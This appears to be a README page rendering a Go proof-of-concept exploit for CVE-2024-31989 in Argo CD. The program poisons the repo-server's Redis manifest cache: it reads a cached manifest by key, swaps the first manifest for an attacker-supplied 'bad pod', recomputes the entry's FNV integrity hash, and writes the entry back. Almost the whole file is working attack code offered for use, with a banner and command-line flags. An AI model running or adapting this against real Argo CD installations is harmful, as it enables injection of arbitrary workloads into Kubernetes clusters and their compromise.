README.md
Rendering markdown...
package main
import (
"bytes"
"compress/gzip"
"context"
"encoding/base64"
"encoding/json"
"errors"
"flag"
"fmt"
"hash/fnv"
"io"
"os"
"strings"
"time"
"github.com/argoproj/argo-cd/v2/reposerver/apiclient"
rediscache "github.com/go-redis/cache/v9"
"github.com/redis/go-redis/v9"
)
type RedisCompressionType string
var (
RedisCompressionNone RedisCompressionType = "none"
RedisCompressionGZip RedisCompressionType = "gzip"
)
type redisCache struct {
expiration time.Duration
client *redis.Client
cache *rediscache.Cache
redisCompressionType RedisCompressionType
}
func NewRedisCache(client *redis.Client, expiration time.Duration, compressionType RedisCompressionType) *redisCache {
return &redisCache{
client: client,
expiration: expiration,
cache: rediscache.New(&rediscache.Options{Redis: client}),
redisCompressionType: compressionType,
}
}
func (r *redisCache) getKey(key string) string {
switch r.redisCompressionType {
case RedisCompressionGZip:
return key + ".gz"
default:
return key
}
}
func (r *redisCache) marshal(obj interface{}) ([]byte, error) {
buf := bytes.NewBuffer([]byte{})
var w io.Writer = buf
if r.redisCompressionType == RedisCompressionGZip {
w = gzip.NewWriter(buf)
}
encoder := json.NewEncoder(w)
if err := encoder.Encode(obj); err != nil {
return nil, err
}
if flusher, ok := w.(interface{ Flush() error }); ok {
if err := flusher.Flush(); err != nil {
return nil, err
}
}
return buf.Bytes(), nil
}
func (r *redisCache) unmarshal(data []byte, obj interface{}) error {
buf := bytes.NewReader(data)
var reader io.Reader = buf
if r.redisCompressionType == RedisCompressionGZip {
if gzipReader, err := gzip.NewReader(buf); err != nil {
return err
} else {
reader = gzipReader
}
}
if err := json.NewDecoder(reader).Decode(obj); err != nil {
return fmt.Errorf("failed to decode cached data: %w", err)
}
return nil
}
func (r *redisCache) Set(key string, obj interface{}) error {
val, err := r.marshal(obj)
if err != nil {
return err
}
return r.cache.Set(&rediscache.Item{
Key: r.getKey(key),
Value: val,
TTL: r.expiration,
SetNX: false,
})
}
func (r *redisCache) Get(key string, obj interface{}) error {
var data []byte
err := r.cache.Get(context.TODO(), r.getKey(key), &data)
if errors.Is(err, rediscache.ErrCacheMiss) {
err = redis.ErrClosed
}
if err != nil {
return err
}
return r.unmarshal(data, obj)
}
type CachedManifestResponse struct {
CacheEntryHash string `json:"cacheEntryHash"`
ManifestResponse *apiclient.ManifestResponse `json:"manifestResponse"`
MostRecentError string `json:"mostRecentError"`
FirstFailureTimestamp int64 `json:"firstFailureTimestamp"`
NumberOfConsecutiveFailures int `json:"numberOfConsecutiveFailures"`
NumberOfCachedResponsesReturned int `json:"numberOfCachedResponsesReturned"`
}
func (cmr *CachedManifestResponse) shallowCopy() *CachedManifestResponse {
if cmr == nil {
return nil
}
return &CachedManifestResponse{
CacheEntryHash: cmr.CacheEntryHash,
FirstFailureTimestamp: cmr.FirstFailureTimestamp,
ManifestResponse: cmr.ManifestResponse,
MostRecentError: cmr.MostRecentError,
NumberOfCachedResponsesReturned: cmr.NumberOfCachedResponsesReturned,
NumberOfConsecutiveFailures: cmr.NumberOfConsecutiveFailures,
}
}
func (cmr *CachedManifestResponse) generateCacheEntryHash() (string, error) {
copy := cmr.shallowCopy()
copy.CacheEntryHash = ""
bytes, err := json.Marshal(copy)
if err != nil {
return "", err
}
h := fnv.New64a()
_, err = h.Write(bytes)
if err != nil {
return "", err
}
fnvHash := h.Sum(nil)
return base64.URLEncoding.EncodeToString(fnvHash), nil
}
func printBanner() {
banner := `
_ _____ _ _ _ _ _
| |/ ( _ ) ___| | | (_)(_) ____ ___| | __
| ' // _ \/ __| |_| | || |/ _' |/ __| |/ /
| . \ (_) \__ \ _ | || | (_| | (__| <
|_|\_\___/|___/_| |_|_|/ |\__,_|\___|_|\_\
|__/
CVE-2024-31989 - by vt0x78 & D3bu663r`
fmt.Println(banner)
fmt.Printf("\n")
}
func spinner(delay time.Duration) {
for {
for _, r := range "-\\|/" {
fmt.Printf("\r%c", r)
fmt.Printf(" Injecting Key...")
time.Sleep(delay)
}
}
}
func main() {
printBanner()
help := flag.Bool("h", false, "Help usage")
keyFilePath := flag.String("key", "", "Path to redis key name file")
podFilePath := flag.String("pod", "", "Path to bad pod (json minified/one line)")
reddisAddr := flag.String("redis-addr", "localhost:6379", "Addres to redis server (default localhost:6379)")
flag.Parse()
client := redis.NewClient(&redis.Options{
Addr: *reddisAddr,
Password: "",
DB: 0,
})
rediscache := NewRedisCache(client, time.Hour, RedisCompressionGZip)
if *help {
flag.Usage()
return
}
if *keyFilePath == "" || *podFilePath == "" {
fmt.Println("Both -key and -pod flags are required")
flag.Usage()
return
}
keyData, err := os.ReadFile(*keyFilePath)
if err != nil {
fmt.Println("Error reading key file:", err)
return
}
key := strings.TrimSpace(string(keyData))
podData, err := os.ReadFile(*podFilePath)
if err != nil {
fmt.Println("Error reading pod file:", err)
return
}
badPod := strings.TrimSpace(string(podData))
go spinner(300 * time.Millisecond)
time.Sleep(5 * time.Second)
var cachedManifest CachedManifestResponse
err = rediscache.Get(key, &cachedManifest)
if err != nil {
fmt.Println("Error getting cached manifest:", err)
return
}
cachedManifest.ManifestResponse.Manifests[0] = badPod
cacheEntryHash, err := cachedManifest.generateCacheEntryHash()
if err != nil {
fmt.Println("Error generating CacheEntryHash:", err)
return
}
cachedManifest.CacheEntryHash = cacheEntryHash
err = rediscache.Set(key, &cachedManifest)
if err != nil {
fmt.Println("Error setting cached manifest:", err)
return
}else{
fmt.Printf("\n\nKey set successfully\n\n")
}
}